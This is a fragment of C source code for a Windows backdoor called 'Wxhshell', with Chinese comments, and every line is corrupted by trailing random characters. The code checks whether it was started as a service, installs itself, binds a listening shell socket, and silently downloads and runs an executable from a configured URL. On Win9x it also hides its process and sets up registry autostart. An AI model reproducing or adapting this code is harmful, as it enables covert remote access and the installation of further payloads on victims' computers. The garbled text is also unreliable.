ULONG UniqueProcessId; g3sUl&K
ULONG InheritedFromUniqueProcessId; b7\ cxgRq
} PROCESS_BASIC_INFORMATION; \zkw2*t
$hVYTy~}
PROCNTQSIP NtQueryInformationProcess; )|<_cwz
4YMX|1wd)
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )Vk6;__
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ";w}3+R
xf>z @)e
HANDLE hProcess; |nk3^;Yf
PROCESS_BASIC_INFORMATION pbi; l\!-2 T6Y
]G}B 0u3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 's!-80sd
if(NULL == hInst ) return 0; O:/yAc`
0l#)fJo
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RF!1oZ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :9Y$'+ <&H
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %_aMl
w$5A|%Y+V}
if (!NtQueryInformationProcess) return 0; PS" .R_"
wFIh6[3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KZ:8[d
if(!hProcess) return 0; /<3<.
~
geefnb
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fKa\7{R
jSQ9.%4
CloseHandle(hProcess); 5NXt$k5
qG9+/u)\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F{\gc|!i
if(hProcess==NULL) return 0; 0ZPV'`KGp
0i8hI6d
HMODULE hMod; oXt,e
char procName[255]; hsG#6?l3
unsigned long cbNeeded; ,Ci/xnI
l??;3kh1
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |__=d+M'
QldzQ%4c\
CloseHandle(hProcess); d(*fy}
W {.78Zi9K
if(strstr(procName,"services")) return 1; // 以服务启动 hvt@XZT
m>e3vu
return 0; // 注册表启动 dYojm1MQ
} ;}.Kb
{sv{847V
// 主模块 rp:wQH7
int StartWxhshell(LPSTR lpCmdLine) <B&R6<]T
{ k6?cP0I)5
SOCKET wsl; <<|H=![
BOOL val=TRUE; qq0?e0H
int port=0; Y&r]lD
struct sockaddr_in door; h#Ce_,o
Cw,D{
if(wscfg.ws_autoins) Install(); h:Ndzp{
;<G<1+
port=atoi(lpCmdLine); tllBCuAe
I/COqU7~
if(port<=0) port=wscfg.ws_port; 9;r? nZT/
g42R 'E%
WSADATA data; -05U%l1e
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TL)O-
gS"Q=ZK"
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r7!J&8;{K
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9 K
door.sin_family = AF_INET; )3muPMaY
door.sin_addr.s_addr = inet_addr("127.0.0.1"); $
A-b vL
door.sin_port = htons(port); F}rPY:
XqR{.jF.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T"E( F
closesocket(wsl); 02]xJo
return 1; JF qf;3R
} "gNK><
<3 j~=-
if(listen(wsl,2) == INVALID_SOCKET) { h K}bj
closesocket(wsl); }Pg'
vJW
return 1; 0v"&G<J
} ?Nl"sVCo
Wxhshell(wsl); >e8JK*Blz
WSACleanup(); bv\ A,+
Zy wK/D
return 0; IB7tAG8
T }uE0Z,
} ]u&dJL
j+748QAhh
// 以NT服务方式启动 bGh0<r7R
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %7`d/dgR
{ Wm6dQQ;Bj
DWORD status = 0; )hL^+Nn bR
DWORD specificError = 0xfffffff; !J.rM5K
d0C8*ifFO
serviceStatus.dwServiceType = SERVICE_WIN32;
'=TTa
serviceStatus.dwCurrentState = SERVICE_START_PENDING; :+kUkb-/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o*7y ax
serviceStatus.dwWin32ExitCode = 0; i1/}XV
serviceStatus.dwServiceSpecificExitCode = 0; 12r` )
serviceStatus.dwCheckPoint = 0; 4NVgOr:
serviceStatus.dwWaitHint = 0; &?$\Y,{
Cals?u#U=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B {i&~k
if (hServiceStatusHandle==0) return; iiwpSGFl]
uaQ&&5%%J
status = GetLastError(); ,e ELRzjl
if (status!=NO_ERROR) uU+s!C9r
{ O=O(3Pf>
serviceStatus.dwCurrentState = SERVICE_STOPPED; -"Gl
4)
serviceStatus.dwCheckPoint = 0; L/k40cEI^z
serviceStatus.dwWaitHint = 0; WX*cI Cb5
serviceStatus.dwWin32ExitCode = status; mvf
_@2^
serviceStatus.dwServiceSpecificExitCode = specificError; qU6BA\ZL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 712=rUI%!
return; c57b f
} S_!R^^ySG9
s}b*5@8|tA
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4 ROWz
serviceStatus.dwCheckPoint = 0; (/q}mB
serviceStatus.dwWaitHint = 0; [u\CD sX
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); px&=((Z7>
} H*qD: N
gO{W#%
// 处理NT服务事件,比如:启动、停止 "X?LAo
VOID WINAPI NTServiceHandler(DWORD fdwControl) !\w\ ]7ls
{ @dhH;gt.I
switch(fdwControl) H5q:z=A
{ Nzc>)2% N
case SERVICE_CONTROL_STOP: 59qnEIi
serviceStatus.dwWin32ExitCode = 0; GHrBK&
serviceStatus.dwCurrentState = SERVICE_STOPPED; |2UauTp5yK
serviceStatus.dwCheckPoint = 0; HU3Vv<lz
serviceStatus.dwWaitHint = 0; j[T%'%
{ er\:U0fr#@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =w ,(M
} (j`l5r#X#/
return; ArdJ."
case SERVICE_CONTROL_PAUSE: 8c?8X=|D7
serviceStatus.dwCurrentState = SERVICE_PAUSED; Alh?0 Fk3)
break; vj@V
!j?
case SERVICE_CONTROL_CONTINUE: ) hPVX()O!
serviceStatus.dwCurrentState = SERVICE_RUNNING; i0&)
N,5_
break; %~(~W>^A
case SERVICE_CONTROL_INTERROGATE: n1`T#%e
break; 9t\
[N/
}; &1$8q0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }-@I#9
} /kb$p8!C".
\1khyF'
// 标准应用程序主函数 ]*h&hsS0
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |x[$3R1@
{ r2)pAiTM*
bn|DRy
// 获取操作系统版本 A@{ !:_55
OsIsNt=GetOsVer(); b2%blQgo
GetModuleFileName(NULL,ExeFile,MAX_PATH); {G]`1Q1DR
&*c'uNw
// 从命令行安装 Bzm.X=U:
if(strpbrk(lpCmdLine,"iI")) Install(); 8I {56$
H!^C 2
// 下载执行文件 u>
In(7\
if(wscfg.ws_downexe) { ^"/Dih\_
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9/QS0
WinExec(wscfg.ws_filenam,SW_HIDE); GfQ^@Tl
} v @_?iC"`
"$%{}{#W0
if(!OsIsNt) { 4]M =q{
// 如果时win9x,隐藏进程并且设置为注册表启动 HO G=c!b
HideProc(); kOzt"t&